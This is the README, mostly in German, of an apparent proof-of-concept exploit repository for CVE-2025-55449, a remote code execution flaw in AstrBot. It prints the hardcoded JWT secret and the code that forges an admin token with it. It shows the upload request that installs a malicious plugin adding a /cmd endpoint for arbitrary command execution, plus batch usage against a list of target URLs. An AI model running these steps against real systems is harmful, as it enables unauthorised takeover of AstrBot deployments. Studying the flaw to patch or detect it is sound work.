
CVE-2025-55449 EXP
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-55449, eine kritische Remote Code Execution (RCE)-Schwachstelle in AstrBot. Die Schwachstelle ermöglicht es einem Angreifer, beliebigen Code auf dem Zielsystem auszuführen, indem er die schwache JWT-Authentifizierung und den Plugin-Installationsmechanismus ausnutzt.
Die Schwachstelle beruht auf Folgendem:
Hartcodierter JWT-Geheimschlüssel: AstrBot verwendet für die Authentifizierung einen hartcodierten JWT-Geheimschlüssel (Advanced_System_for_Text_Response_and_Bot_Operations_Tool), sodass Angreifer gültige Authentifizierungstoken fälschen können.
Uneingeschränkte Plugin-Installation: Der Endpunkt /api/plugin/install-upload erlaubt authentifizierten Benutzern, Plugins ohne ordnungsgemäße Validierung hochzuladen und zu installieren, wodurch beliebiger Python-Code ausgeführt werden kann.
Codeausführung über das Plugin-System: Das Plugin-System erlaubt es Plugins, das Routing der Anwendung zu ändern und über die Flask/Quart-Anwendungsinstanz beliebige Befehle auszuführen.
JWT-Token-Fälschung: Der Exploit erstellt mithilfe des hartcodierten geheimen Schlüssels ein JWT-Token mit Administratorrechten.
Codeausführungsschwachstelle: Die Remote Code Execution-Schwachstelle im Backend nutzt die integrierte Plugin-Erweiterungsfunktion der Anwendung aus, die es Benutzern ermöglicht, benutzerdefinierte Plugin-Pakete hochzuladen. Das Programm entpackt die Pakete, liest die Plugin-Informationen, importiert die Python-Datei des Objekts und führt den Code aus.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (integriert)argparse (integriert)datetime (integriert)pathlib (integriert)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Führen Sie den Exploit gegen eine einzelne Ziel-URL aus:
python main.py http://target-ip:port
Erstellen Sie eine Datei (ip.txt) mit einer URL pro Zeile:
http://target1:6185
http://target2:6185
http://target3:6185
Dann führen Sie aus:
python main.py -r ip.txt
Bei erfolgreicher Ausnutzung gibt das Skript Folgendes aus:
http://target-ip:port/cmd?cmd=id
Sie können dann Befehle ausführen, indem Sie auf Folgendes zugreifen:
http://target-ip:port/cmd?cmd=<your-command>
Zum Beispiel:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Main exploit script
├── ip.txt # Example target URLs file
├── README.md # This file
└── helloworld/ # Malicious plugin directory
├── main.py # Plugin code that adds /cmd endpoint
├── metadata.yaml # Plugin metadata
├── LICENSE # Plugin license
└── README.md # Plugin readme
Der Exploit verwendet das hartcodierte JWT-Geheimnis, um ein gültiges Authentifizierungstoken zu erstellen:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
Das Plugin (helloworld/main.py) nutzt Pythons Import-System und die Flask/Quart-Anwendungsinstanz aus, um eine neue Route zu injizieren:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
Der Exploit verpackt das Plugin als ZIP-Datei und lädt es über den authentifizierten Endpunkt hoch:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)